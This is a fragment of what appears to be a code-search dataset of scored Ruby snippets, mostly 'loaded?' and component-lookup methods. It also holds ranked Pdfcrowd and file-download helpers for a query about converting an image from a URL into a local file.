"text": "def loading\n has_class(:loading)\n end",
"title": ""
},
{
"docid": "3764b692b893621f3bf9542f459481bc",
"score": "0.5110136",
"text": "def load_current_resource\n @current_resource ||= Chef::Resource::JbossModule.new(r.name)\n @current_resource.exists = has_driver?\n @current_resource\n end",
"title": ""
},
{
"docid": "1b16db5b06cb3c999eee57e1e6574330",
"score": "0.5107368",
"text": "def bundled?\n bundle.present?\n end",
"title": ""
},
{
"docid": "42a29062c4b8de778b4d4e82e7941c9d",
"score": "0.5097731",
"text": "def has_component?( component )\n\t\treturn self.components.key?( component )\n\tend",
"title": ""
},
{
"docid": "4489348118831a32c7d05c3d61faaf83",
"score": "0.5080883",
"text": "def find_loaded_gem(name, property = nil)\n gem_spec = Gem.loaded_specs.values.find { |repo| repo.name == name }\n gem_spec.present? && property.present? ? gem_spec.send(property) : gem_spec\n end",
"title": ""
},
{
"docid": "228233f9e4d235fa8815091ec3589933",
"score": "0.5076403",
"text": "def detect\n main_class ? CONTAINER_NAME : nil\n end",
"title": ""
},
{
"docid": "6ed79eb32f4f86025b848f528f29f55d",
"score": "0.5069876",
"text": "def loaded?\n @loaded\n end",
"title": ""
},
{
"docid": "6ed79eb32f4f86025b848f528f29f55d",
"score": "0.5069876",
"text": "def loaded?\n @loaded\n end",
"title": ""
},
{
"docid": "6ed79eb32f4f86025b848f528f29f55d",
"score": "0.5069876",
"text": "def loaded?\n @loaded\n end",
"title": ""
},
{
"docid": "6ed79eb32f4f86025b848f528f29f55d",
"score": "0.5069876",
"text": "def loaded?\n @loaded\n end",
"title": ""
},
{
"docid": "6ed79eb32f4f86025b848f528f29f55d",
"score": "0.5069876",
"text": "def loaded?\n @loaded\n end",
"title": ""
},
{
"docid": "6ed79eb32f4f86025b848f528f29f55d",
"score": "0.5069876",
"text": "def loaded?\n @loaded\n end",
"title": ""
},
{
"docid": "6ed79eb32f4f86025b848f528f29f55d",
"score": "0.5069876",
"text": "def loaded?\n @loaded\n end",
"title": ""
},
{
"docid": "6ed79eb32f4f86025b848f528f29f55d",
"score": "0.5069876",
"text": "def loaded?\n @loaded\n end",
"title": ""
},
{
"docid": "6ed79eb32f4f86025b848f528f29f55d",
"score": "0.5069876",
"text": "def loaded?\n @loaded\n end",
"title": ""
},
{
"docid": "6ed79eb32f4f86025b848f528f29f55d",
"score": "0.5069876",
"text": "def loaded?\n @loaded\n end",
"title": ""
},
{
"docid": "6ed79eb32f4f86025b848f528f29f55d",
"score": "0.5069876",
"text": "def loaded?\n @loaded\n end",
"title": ""
},
{
"docid": "6ed79eb32f4f86025b848f528f29f55d",
"score": "0.5069876",
"text": "def loaded?\n @loaded\n end",
"title": ""
},
{
"docid": "6ed79eb32f4f86025b848f528f29f55d",
"score": "0.5069876",
"text": "def loaded?\n @loaded\n end",
"title": ""
},
{
"docid": "6ed79eb32f4f86025b848f528f29f55d",
"score": "0.5069876",
"text": "def loaded?\n @loaded\n end",
"title": ""
},
{
"docid": "7ab1fb1a040c1f26ecf8a15833549471",
"score": "0.5065018",
"text": "def loaded?\n !!@loaded\n end",
"title": ""
},
{
"docid": "7ab1fb1a040c1f26ecf8a15833549471",
"score": "0.5065018",
"text": "def loaded?\n !!@loaded\n end",
"title": ""
},
{
"docid": "7ab1fb1a040c1f26ecf8a15833549471",
"score": "0.5065018",
"text": "def loaded?\n !!@loaded\n end",
"title": ""
},
{
"docid": "7ab1fb1a040c1f26ecf8a15833549471",
"score": "0.5065018",
"text": "def loaded?\n !!@loaded\n end",
"title": ""
},
{
"docid": "a207003f7b6df8d0b601f57e78a614bb",
"score": "0.50641364",
"text": "def loaded?\n !@loaded.nil?\n end",
"title": ""
},
{
"docid": "e28c182ee34de4ea224260b635624131",
"score": "0.5060662",
"text": "def get_bootstrap\n return $bootstrap if defined? $bootstrap\n $bootstrap = get_all_nodes.select{|s| s.hostname.include? 'bootstrap'}[0].fqdn\n return $bootstrap\nend",
"title": ""
},
{
"docid": "605fe206a1b407e97f37edb596166c9a",
"score": "0.505659",
"text": "def find\n self.class.find_by_id(component_key)\n end",
"title": ""
},
{
"docid": "9e551e1ccde2d6ae667f2e89bad9d678",
"score": "0.50511",
"text": "def load(value)\n loaded = nil\n\n if value.blank?\n loaded = default\n else\n LOADERS.each do |loader|\n begin\n loaded = loader.call(value)\n rescue\n next\n else\n break\n end\n end\n end\n\n loaded\n end",
"title": ""
},
{
"docid": "3cafa735a9cba8ebf6b1f5b38e9c22f3",
"score": "0.50504893",
"text": "def initial_load?\n @initial_load\n end",
"title": ""
},
{
"docid": "1783a1131a0fdb630b0f1862b3ac5ea7",
"score": "0.50452",
"text": "def component\n self.package\n end",
"title": ""
},
{
"docid": "ec43197ccda825f1c956ba6cfbfa4506",
"score": "0.50412226",
"text": "def get_component(componentName)\n return $marathon.getComponent(ComponentId.new(componentName, nil))\nend",
"title": ""
},
{
"docid": "1c5b1b66358a737ade3e0c43a22165de",
"score": "0.50391364",
"text": "def load_compass_growl\n require 'compass-growl'\nrescue LoadError\n false\nend",
"title": ""
},
{
"docid": "e522beceed76383e9ab52715db88a2e6",
"score": "0.5039084",
"text": "def _load_resource(version, name)\n _version_module(version).const_get(name.camelcase.singularize).new\n rescue NameError\n nil\n end",
"title": ""
},
{
"docid": "5c8d1e1ae3b2c360b7d33cc6fcd4d67e",
"score": "0.5028502",
"text": "def component_child_by_name component, target\n component.getComponents.each do |child_component|\n return child_component unless child_component.getName != target\n end\n return nil\n end",
"title": ""
},
{
"docid": "a23b78f716eb3cc695b2fcaab643c990",
"score": "0.50278765",
"text": "def loaded?\n @@loaded.include?(self.name)\n end",
"title": ""
},
{
"docid": "a23b78f716eb3cc695b2fcaab643c990",
"score": "0.50278765",
"text": "def loaded?\n @@loaded.include?(self.name)\n end",
"title": ""
},
{
"docid": "f88efad50ec17403b2035872ed5b3157",
"score": "0.50267786",
"text": "def chef_object\n raise NotFoundError.new(self) unless exists?\n\n nil\n end",
"title": ""
},
{
"docid": "34a24cf0f1002f5ca886323cf9025873",
"score": "0.5025582",
"text": "def detect\n !service.nil? ? process_config : nil\n end",
"title": ""
},
{
"docid": "e8500a065eeb77f669a1ed3998cce07f",
"score": "0.50220305",
"text": "def load_component(path, base_path)\n relative_path = Pathname.new(path).relative_path_from(base_path)\n\n require_dependency(path)\n class_in_path(relative_path).constantize\n end",
"title": ""
},
{
"docid": "2034ab5b2ff2f64b30174e2384ec6be5",
"score": "0.50198483",
"text": "def loaded?\n true\n end",
"title": ""
},
{
"docid": "17aac1724e0d35494cf57863833cd692",
"score": "0.501682",
"text": "def booted?(name)\n booter.booted.map(&:identifier).include?(name)\n end",
"title": ""
},
{
"docid": "359474617a4e26247eeff3172a882ff2",
"score": "0.50119853",
"text": "def get_component\n @component = Component.find(params[:component_id])\n end",
"title": ""
},
{
"docid": "d3f4c4bf68296faf9eb65cce3698731d",
"score": "0.5011118",
"text": "def component\n Component.find_by_project_id_and_component_id(project_id, component_id) unless component_id.nil?\n end",
"title": ""
},
{
"docid": "dfc728b3661ba101c5ccc76346eaf734",
"score": "0.5010645",
"text": "def loaded?\n @@loaded ||= false\n end",
"title": ""
},
{
"docid": "dfc728b3661ba101c5ccc76346eaf734",
"score": "0.5010645",
"text": "def loaded?\n @@loaded ||= false\n end",
"title": ""
},
{
"docid": "ed4c71191418a350fb331b7399ddbc0b",
"score": "0.50003976",
"text": "def loaded?\n return @loaded\n end",
"title": ""
},
{
"docid": "ed4c71191418a350fb331b7399ddbc0b",
"score": "0.50003976",
"text": "def loaded?\n return @loaded\n end",
"title": ""
}
] |
f92dd25ac65b7164db61c84e14ede509
|
Convert an image and write the result to a local file. +url+ The address of the image to convert. The supported protocols are http:// and +file_path+ The output file path. The string must not be empty.
|
[
{
"docid": "50f14f147f696dcbcf8017bc11ff214e",
"score": "0.7454288",
"text": "def convertUrlToFile(url, file_path)\n if (!(!file_path.nil? && !file_path.empty?))\n raise Error.new(Pdfcrowd.create_invalid_value_message(file_path, \"convertUrlToFile::file_path\", \"image-to-pdf\", \"The string must not be empty.\", \"convert_url_to_file\"), 470);\n end\n \n output_file = open(file_path, \"wb\")\n begin\n convertUrlToStream(url, output_file)\n output_file.close()\n rescue Error => why\n output_file.close()\n FileUtils.rm(file_path)\n raise\n end\n end",
"title": ""
}
] |
[
{
"docid": "529343419102984202b18e02997d7c75",
"score": "0.7914003",
"text": "def convertUrlToFile(url, file_path)\n if (!(!file_path.nil? && !file_path.empty?))\n raise Error.new(Pdfcrowd.create_invalid_value_message(file_path, \"convertUrlToFile::file_path\", \"image-to-image\", \"The string must not be empty.\", \"convert_url_to_file\"), 470);\n end\n \n output_file = open(file_path, \"wb\")\n begin\n convertUrlToStream(url, output_file)\n output_file.close()\n rescue Error => why\n output_file.close()\n FileUtils.rm(file_path)\n raise\n end\n end",
"title": ""
},
{
"docid": "2d6ec3c9d0d016b2d5ec3ad511498e32",
"score": "0.77064306",
"text": "def convertUrlToFile(url, file_path)\n if (!(!file_path.nil? && !file_path.empty?))\n raise Error.new(Pdfcrowd.create_invalid_value_message(file_path, \"convertUrlToFile::file_path\", \"html-to-image\", \"The string must not be empty.\", \"convert_url_to_file\"), 470);\n end\n \n output_file = open(file_path, \"wb\")\n begin\n convertUrlToStream(url, output_file)\n output_file.close()\n rescue Error => why\n output_file.close()\n FileUtils.rm(file_path)\n raise\n end\n end",
"title": ""
},
{
"docid": "8919fba77c55a52cad7c2b916c79acd0",
"score": "0.6963078",
"text": "def convertUrlToFile(url, file_path)\n if (!(!file_path.nil? && !file_path.empty?))\n raise Error.new(Pdfcrowd.create_invalid_value_message(file_path, \"convertUrlToFile::file_path\", \"pdf-to-text\", \"The string must not be empty.\", \"convert_url_to_file\"), 470);\n end\n \n output_file = open(file_path, \"wb\")\n begin\n convertUrlToStream(url, output_file)\n output_file.close()\n rescue Error => why\n output_file.close()\n FileUtils.rm(file_path)\n raise\n end\n end",
"title": ""
},
{
"docid": "72f67091ca47a2eb988a8924b237bc91",
"score": "0.69117063",
"text": "def convertUrlToFile(url, file_path)\n if (!(!file_path.nil? && !file_path.empty?))\n raise Error.new(Pdfcrowd.create_invalid_value_message(file_path, \"convertUrlToFile::file_path\", \"pdf-to-html\", \"The string must not be empty.\", \"convert_url_to_file\"), 470);\n end\n \n if (!(isOutputTypeValid(file_path)))\n raise Error.new(Pdfcrowd.create_invalid_value_message(file_path, \"convertUrlToFile::file_path\", \"pdf-to-html\", \"The converter generates an HTML or ZIP file. If ZIP file is generated, the file path must have a ZIP or zip extension.\", \"convert_url_to_file\"), 470);\n end\n \n output_file = open(file_path, \"wb\")\n begin\n convertUrlToStream(url, output_file)\n output_file.close()\n rescue Error => why\n output_file.close()\n FileUtils.rm(file_path)\n raise\n end\n end",
"title": ""
},
{
"docid": "1ae8fbfe51f5add47042f915602ff542",
"score": "0.6901498",
"text": "def convertUrlToFile(url, file_path)\n if (!(!file_path.nil? && !file_path.empty?))\n raise Error.new(Pdfcrowd.create_invalid_value_message(file_path, \"convertUrlToFile::file_path\", \"html-to-pdf\", \"The string must not be empty.\", \"convert_url_to_file\"), 470);\n end\n \n output_file = open(file_path, \"wb\")\n begin\n convertUrlToStream(url, output_file)\n output_file.close()\n rescue Error => why\n output_file.close()\n FileUtils.rm(file_path)\n raise\n end\n end",
"title": ""
},
{
"docid": "40329b94b95f405a0cb3a10324f07aac",
"score": "0.6894053",
"text": "def save_image_to_file( image_url, filename )\n image_uri = URI.parse( image_url )\n data = Net::HTTP.get_response( image_uri.host, image_uri.path ).body\n open( filename, 'w' ) do |f|\n f.write( data )\n end\n end",
"title": ""
},
{
"docid": "d99d6868da61059aaa121ddb9ef0f646",
"score": "0.6734303",
"text": "def save_img_from_url(img_url, dst_path)\n\t\topen(dst_path, 'wb') do |output|\n\t open(img_url) do |data|\n\t output.write(data.read)\n\t end\n\t end\n\t\tnil\n\tend",
"title": ""
},
{
"docid": "2161fe2c1987659b8658dad93118a12d",
"score": "0.66832936",
"text": "def convertUrl(url)\n unless /(?i)^https?:\\/\\/.*$/.match(url)\n raise Error.new(Pdfcrowd.create_invalid_value_message(url, \"convertUrl\", \"image-to-image\", \"The supported protocols are http:// and https://.\", \"convert_url\"), 470);\n end\n \n @fields['url'] = url\n @helper.post(@fields, @files, @raw_data)\n end",
"title": ""
},
{
"docid": "df922ffc93bf5405de85bdcedf0cf724",
"score": "0.6626537",
"text": "def download( url )\n image = open( \"#{url}.jpg\" ).read\n File.write @path, image\n end",
"title": ""
},
{
"docid": "a0d8392faa3926e61549235947f20829",
"score": "0.6451682",
"text": "def convertUrl(url)\n unless /(?i)^https?:\\/\\/.*$/.match(url)\n raise Error.new(Pdfcrowd.create_invalid_value_message(url, \"convertUrl\", \"html-to-image\", \"The supported protocols are http:// and https://.\", \"convert_url\"), 470);\n end\n \n @fields['url'] = url\n @helper.post(@fields, @files, @raw_data)\n end",
"title": ""
},
{
"docid": "8212c9ca3e5661783d17efc08760d0da",
"score": "0.6382272",
"text": "def convertUrlToStream(url, out_stream)\n unless /(?i)^https?:\\/\\/.*$/.match(url)\n raise Error.new(Pdfcrowd.create_invalid_value_message(url, \"convertUrlToStream::url\", \"image-to-image\", \"The supported protocols are http:// and https://.\", \"convert_url_to_stream\"), 470);\n end\n \n @fields['url'] = url\n @helper.post(@fields, @files, @raw_data, out_stream)\n end",
"title": ""
},
{
"docid": "a1291a21b46891ad22f6326a35ccf7fc",
"score": "0.6324587",
"text": "def save_local_path(url)\n return nil if url.nil? || ! url.match(%{^http})\n tmp_file = \"/tmp/#{Digest::SHA1.hexdigest(url)}\"\n agent = Mechanize.new { |_agent| _agent.user_agent = WebStat::Configure.get[\"user_agent\"] }\n image = agent.get(url)\n File.open(tmp_file, \"w+b\") do |_file|\n if image.class == Mechanize::File\n _file.puts(image.body)\n elsif image.respond_to?(:body_io)\n _file.puts(image.body_io.read)\n end\n end\n tmp_file\n rescue\n false\n end",
"title": ""
},
{
"docid": "325906564d3fd77fcbcf3b26faf85830",
"score": "0.6291562",
"text": "def download_to_file(url, path)\n result = false\n\n uri = URI(url)\n if uri.scheme == 'file'\n result = FileUtils.mv uri.path, path\n Rails.logger.info \"Moved to #{path}\" if result == 0\n else\n result = download_url_to_file uri, path\n end\n result\n end",
"title": ""
},
{
"docid": "f116c0c59a3f50268b18ef10bdc2cfcc",
"score": "0.62121886",
"text": "def convertUrlToStream(url, out_stream)\n unless /(?i)^https?:\\/\\/.*$/.match(url)\n raise Error.new(Pdfcrowd.create_invalid_value_message(url, \"convertUrlToStream::url\", \"html-to-image\", \"The supported protocols are http:// and https://.\", \"convert_url_to_stream\"), 470);\n end\n \n @fields['url'] = url\n @helper.post(@fields, @files, @raw_data, out_stream)\n end",
"title": ""
},
{
"docid": "647a9a11b596bfbd527adac31bf88de2",
"score": "0.6210769",
"text": "def convertUrl(url)\n unless /(?i)^https?:\\/\\/.*$/.match(url)\n raise Error.new(Pdfcrowd.create_invalid_value_message(url, \"convertUrl\", \"image-to-pdf\", \"The supported protocols are http:// and https://.\", \"convert_url\"), 470);\n end\n \n @fields['url'] = url\n @helper.post(@fields, @files, @raw_data)\n end",
"title": ""
},
{
"docid": "feebc5c7b7aed7d60606464a2d646753",
"score": "0.61470705",
"text": "def write_file_from_url(file, url)\n Net::HTTP.start(@download.base_url) do |http|\n begin\n http.request_get(url) do |resp|\n resp.read_body do |segment|\n file.write(segment)\n end\n end\n ensure\n file.close\n end\n end\n end",
"title": ""
},
{
"docid": "792d73bfdf0bf6798f26a9bb7867e048",
"score": "0.6060101",
"text": "def save_to_disk url, target_name\n from_url = URI.parse url\n Net::HTTP.start(from_url.host) do |http|\n resp = http.get(from_url.path)\n open(target_name, \"wb\") do |file|\n begin\n file.write(resp.body)\n rescue => err # FIXME don't fail on failed write (OTOH it's better it have no image than crash the whole app)\n return nil\n end\n return target_name\n end\n end\n end",
"title": ""
},
{
"docid": "b40fca930b28d9dbce726e6023c47503",
"score": "0.6011021",
"text": "def docDownloadImage(url, destFile)\n # Fix the image url, it cannot contain spaces.\n url = url.gsub(\" \", \"%20\")\n begin\n open(url) do |f|\n Pathname(destFile).parent.mkpath()\n File.open(destFile,\"wb\") do |file| file.puts(f.read) end\n end\n rescue\n puts \"*** Cannot download image: \" + url.to_s + \" ***\"\n end\nend",
"title": ""
},
{
"docid": "6c314d0cfe3a185384cd0fceb1a6b088",
"score": "0.5927776",
"text": "def save_image(url)\n file_name = get_filename(url)\n dir_name = '/vagrant/bookinfo/public/'\n file_path = dir_name + file_name\n\n mechanize = Mechanize.new\n page = mechanize.get(url)\n page.save_as(file_path)\n\n return file_path\n end",
"title": ""
},
{
"docid": "3bddb2d8fb209349d6e8d344374a1b36",
"score": "0.58838034",
"text": "def convertUrlToStream(url, out_stream)\n unless /(?i)^https?:\\/\\/.*$/.match(url)\n raise Error.new(Pdfcrowd.create_invalid_value_message(url, \"convertUrlToStream::url\", \"image-to-pdf\", \"The supported protocols are http:// and https://.\", \"convert_url_to_stream\"), 470);\n end\n \n @fields['url'] = url\n @helper.post(@fields, @files, @raw_data, out_stream)\n end",
"title": ""
},
{
"docid": "b2322efcc14c0cdb6b66910687572b31",
"score": "0.5826644",
"text": "def convertFileToFile(file, file_path)\n if (!(!file_path.nil? && !file_path.empty?))\n raise Error.new(Pdfcrowd.create_invalid_value_message(file_path, \"convertFileToFile::file_path\", \"html-to-image\", \"The string must not be empty.\", \"convert_file_to_file\"), 470);\n end\n \n output_file = open(file_path, \"wb\")\n begin\n convertFileToStream(file, output_file)\n output_file.close()\n rescue Error => why\n output_file.close()\n FileUtils.rm(file_path)\n raise\n end\n end",
"title": ""
},
{
"docid": "24242d1379f56bd1c154bb2224af237e",
"score": "0.58002543",
"text": "def convertFileToFile(file, file_path)\n if (!(!file_path.nil? && !file_path.empty?))\n raise Error.new(Pdfcrowd.create_invalid_value_message(file_path, \"convertFileToFile::file_path\", \"image-to-image\", \"The string must not be empty.\", \"convert_file_to_file\"), 470);\n end\n \n output_file = open(file_path, \"wb\")\n begin\n convertFileToStream(file, output_file)\n output_file.close()\n rescue Error => why\n output_file.close()\n FileUtils.rm(file_path)\n raise\n end\n end",
"title": ""
},
{
"docid": "195b3b7027c121647ded3772d595c6cd",
"score": "0.5634483",
"text": "def forced_file_from_url(url)\n data = open URI.parse(url)\n return data if data.is_a? Tempfile\n\n extname = File.extname url\n basename = File.basename url, extname\n\n file = Tempfile.new [basename, extname]\n file.binmode\n file.write data.read\n file.rewind\n file\n end",
"title": ""
},
{
"docid": "1af535331639b5255168037437ac4214",
"score": "0.5616404",
"text": "def convertUrl(url)\n unless /(?i)^https?:\\/\\/.*$/.match(url)\n raise Error.new(Pdfcrowd.create_invalid_value_message(url, \"convertUrl\", \"pdf-to-text\", \"The supported protocols are http:// and https://.\", \"convert_url\"), 470);\n end\n \n @fields['url'] = url\n @helper.post(@fields, @files, @raw_data)\n end",
"title": ""
},
{
"docid": "ee7c0627c92a42bf8fc4f3276014caed",
"score": "0.55911505",
"text": "def image_from_url(url)\n self.image.attach(io: URI.open(url), filename: 'generated-sketch.jpg')\n end",
"title": ""
},
{
"docid": "1c9dd7aaccd9475b5be9e3afb246470e",
"score": "0.55798346",
"text": "def download_image(image_url)\n\n filename = \"temp.png\"\n data = image_url_to_base64(image_url)\n decoded_image = decode_base64_string(filename, data)\n write_swap_file(filename, decoded_image)\n\nend",
"title": ""
},
{
"docid": "1c9dd7aaccd9475b5be9e3afb246470e",
"score": "0.55798346",
"text": "def download_image(image_url)\n\n filename = \"temp.png\"\n data = image_url_to_base64(image_url)\n decoded_image = decode_base64_string(filename, data)\n write_swap_file(filename, decoded_image)\n\nend",
"title": ""
},
{
"docid": "3ed2022cb9a47d9a2b0a94bc62c6781b",
"score": "0.5564544",
"text": "def save_as(filename, size = :medium)\n format = size.to_sym == :original ? self.original_format : 'jpg'\n filename = \"#{filename}.#{format}\"\n\n if File.exists?(filename) or not self.url(size)\n false\n else\n f = File.new(filename, 'w+')\n f.puts open(self.url(size)).read\n f.close\n f\n end\n end",
"title": ""
},
{
"docid": "30f58861448afee88bc8e29dd3e8968f",
"score": "0.553664",
"text": "def url_to_image(source, options = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "a5ff723ac70d8e4d1c4c52cd7fe9e621",
"score": "0.5496139",
"text": "def post_image(url, filename)\n post(url) do |req|\n req.body = open(filename).read\n end\n end",
"title": ""
},
{
"docid": "e1bc32fd2c089cd0970361af2451f3ae",
"score": "0.54918915",
"text": "def save_file(url, file)\n puts \"Downloading http://...#{url[-8..-1]} -> #{file}\"\n File.open(file, \"wb\") do |saved_file|\n # the following \"open\" is provided by open-uri\n open(url) do |read_file|\n saved_file.write(read_file.read)\n end\n end\nend",
"title": ""
},
{
"docid": "284717af3265e9ba52c4deff4c2f03c8",
"score": "0.5486554",
"text": "def convertUrl(url)\n unless /(?i)^https?:\\/\\/.*$/.match(url)\n raise Error.new(Pdfcrowd.create_invalid_value_message(url, \"convertUrl\", \"html-to-pdf\", \"The supported protocols are http:// and https://.\", \"convert_url\"), 470);\n end\n \n @fields['url'] = url\n @helper.post(@fields, @files, @raw_data)\n end",
"title": ""
},
{
"docid": "b24f7da6a792b94bb227b1bab3f79440",
"score": "0.5471857",
"text": "def dl_image (url)\n _filename = @img_path + '/' + url.split('/').last\n begin\n if !File.directory?(@img_path)\n require 'fileutils'\n FileUtils::mkdir_p @img_path\n puts \"[INFO] created path '#{@img_path}'\"\n end\n puts \"[INFO] writing image file '#{_filename}'\"\n File.open(_filename, 'wb') do |file|\n file.write open(url).read\n end\n return _filename\n rescue Exception => e\n puts \"[ERROR] in 'DavidGetter#dl_image': #{e}\"\n end\n return nil\n end",
"title": ""
},
{
"docid": "989a4ee992fd756a599ebe8e42192642",
"score": "0.5468856",
"text": "def convertUrl(url)\n unless /(?i)^https?:\\/\\/.*$/.match(url)\n raise Error.new(Pdfcrowd.create_invalid_value_message(url, \"convertUrl\", \"pdf-to-html\", \"The supported protocols are http:// and https://.\", \"convert_url\"), 470);\n end\n \n @fields['url'] = url\n @helper.post(@fields, @files, @raw_data)\n end",
"title": ""
},
{
"docid": "6d9caf49a00aa03b27fa3f59528b2b0b",
"score": "0.5437631",
"text": "def save_impl(format, file)\n ImageIO.write(@src, format, file)\n end",
"title": ""
},
{
"docid": "bd6f38d1258fae29f30428b993ade96a",
"score": "0.54187113",
"text": "def write(output_path = nil) \n output_path = @input_path if output_path.nil?\n FileUtils.copy_file @path, output_path\n verify_image(output_path)\n self\n end",
"title": ""
},
{
"docid": "2179ddcf5f6a13ba875eaee1d48979ff",
"score": "0.5393667",
"text": "def thumbnail_file(input_path, output_path, options = {})\n opts = {\n :format => File.extname(output_path).sub(/^\\./, '')\n }.merge(options)\n \n data = SmartImage.thumbnail File.read(input_path), opts\n File.open(output_path, 'w') { |file| file << data }\n end",
"title": ""
},
{
"docid": "cebc9e471dc0ad8a177eb6b270877aa7",
"score": "0.5377174",
"text": "def upload_file(uploader, url)\n uri = URI.parse(url)\n if uri.host.nil?\n # Local, prepend url\n file = File.open(uploader.root + url)\n else\n # Add a scheme if the url is of the form \"//host.com/assets/\"\n uri.scheme = \"http\" if uri.scheme.nil?\n # Remote\n uploader.download!(uri.to_s)\n file = uploader.file\n end\n file\n end",
"title": ""
},
{
"docid": "d4eed121ca68884ef839b6e4cbbec3c3",
"score": "0.5372399",
"text": "def convert_url_to_local(src, dst, options=nil)\r\n convert(src, dst, false, true, true, options)\r\n end",
"title": ""
},
{
"docid": "1af46d3bbf16dab489fe45a2fc97bcfc",
"score": "0.53701353",
"text": "def convertStringToFile(text, file_path)\n if (!(!file_path.nil? && !file_path.empty?))\n raise Error.new(Pdfcrowd.create_invalid_value_message(file_path, \"convertStringToFile::file_path\", \"html-to-image\", \"The string must not be empty.\", \"convert_string_to_file\"), 470);\n end\n \n output_file = open(file_path, \"wb\")\n begin\n convertStringToStream(text, output_file)\n output_file.close()\n rescue Error => why\n output_file.close()\n FileUtils.rm(file_path)\n raise\n end\n end",
"title": ""
},
{
"docid": "856090f5e84cb5cf887d784c19d111d4",
"score": "0.53472596",
"text": "def save_to_tempfile(url)\n verbose(\"Downloading #{url}\")\n\n uri = URI.parse(url)\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n\n http.start do |http|\n resp = http.get(uri.path)\n file = Tempfile.new('master.zip')\n file.binmode\n file.write(resp.body)\n file.flush\n file.close\n\n verbose(\"Saved to #{file.path}\")\n\n file\n end\n end",
"title": ""
},
{
"docid": "3c0c294f94108110e00baf1a5b3d4b71",
"score": "0.53397065",
"text": "def convertUrlToStream(url, out_stream)\n unless /(?i)^https?:\\/\\/.*$/.match(url)\n raise Error.new(Pdfcrowd.create_invalid_value_message(url, \"convertUrlToStream::url\", \"pdf-to-text\", \"The supported protocols are http:// and https://.\", \"convert_url_to_stream\"), 470);\n end\n \n @fields['url'] = url\n @helper.post(@fields, @files, @raw_data, out_stream)\n end",
"title": ""
},
{
"docid": "2b21fabc37eb2540a9054eb1cf90100b",
"score": "0.5314961",
"text": "def add_file_from_url(url, description = nil, convert_to = nil, pingback_url = nil)\n Dropio::Resource.client.add_file_from_url(self,url,description, convert_to, pingback_url)\n end",
"title": ""
},
{
"docid": "04e18fa19f6d0060ecbca8df14944104",
"score": "0.5312609",
"text": "def save_file_locally(remote_url_str, extension = nil)\n extension ||= remote_url_str.match(/\\.\\w+$/)[0].sub(/^\\./, '')\n new_file_name = self.tmp_file_name(extension)\n local_path_to_file = File.join(Video.tmp_file_dir, new_file_name)\n\n # Make sure dir exists\n FileUtils.mkdir_p(Video.tmp_file_dir) unless File.exists?(Video.tmp_file_dir)\n\n # simple one-liner because using net/http just doesn't seem to work\n system(\"wget -O #{local_path_to_file} #{remote_url_str}\")\n\n self.local_file_path = local_path_to_file if File.exists?(local_path_to_file)\n if self.local_file_path.blank?\n raise \"Local file could not be saved\" \n else\n return true\n end\n end",
"title": ""
},
{
"docid": "6a4651d414c44697bda6a59327e8f3cb",
"score": "0.5312114",
"text": "def uri_to_file(uri); end",
"title": ""
},
{
"docid": "6a4651d414c44697bda6a59327e8f3cb",
"score": "0.5312114",
"text": "def uri_to_file(uri); end",
"title": ""
},
{
"docid": "bd917c27cdaaf665ee21baf8dcc09b70",
"score": "0.5305453",
"text": "def file_writer\n test = \"wget \\\"http://xyzcomics.com/wp-content/uploads/2020/05/redux-12.jpg\\\" -outfile \\\"redux-12.jpg\\\"\"\n name = \"testfile\"\n File.open(\"#{name}.ps1\", \"w\") do |f|\n f.write(test)\n end\n # this executes as expected.\n # will need to add filename? no, can be parsed from URL.\n # don't need directory.\n end",
"title": ""
},
{
"docid": "8adbf582854c465504b32a74de99f33f",
"score": "0.53041565",
"text": "def write_out\n File.delete(@path) if File.exist?(@path)\n File.open(@path, mode: 'w', encoding: @img_data.encoding) { |f| f.write(@img_data) }\n end",
"title": ""
},
{
"docid": "09e3251b70759c5c4825271e2434fb22",
"score": "0.5290269",
"text": "def convertUrlToStream(url, out_stream)\n unless /(?i)^https?:\\/\\/.*$/.match(url)\n raise Error.new(Pdfcrowd.create_invalid_value_message(url, \"convertUrlToStream::url\", \"html-to-pdf\", \"The supported protocols are http:// and https://.\", \"convert_url_to_stream\"), 470);\n end\n \n @fields['url'] = url\n @helper.post(@fields, @files, @raw_data, out_stream)\n end",
"title": ""
},
{
"docid": "bb8b63bd4373af71cc13b5ebd02fa716",
"score": "0.5287257",
"text": "def convertUrlToStream(url, out_stream)\n unless /(?i)^https?:\\/\\/.*$/.match(url)\n raise Error.new(Pdfcrowd.create_invalid_value_message(url, \"convertUrlToStream::url\", \"pdf-to-html\", \"The supported protocols are http:// and https://.\", \"convert_url_to_stream\"), 470);\n end\n \n @fields['url'] = url\n @helper.post(@fields, @files, @raw_data, out_stream)\n end",
"title": ""
},
{
"docid": "96a761f99ee386ce4431f04bda22c2e8",
"score": "0.52850807",
"text": "def write_image(filename, decoded_image)\r\n\r\n f = File.new \"./public/images/blog/#{filename}\", \"wb\"\r\n f.write(decoded_image)\r\n f.close if f\r\n\r\n end",
"title": ""
},
{
"docid": "b99f5dacefad12526d5c6083fe54ccd1",
"score": "0.528489",
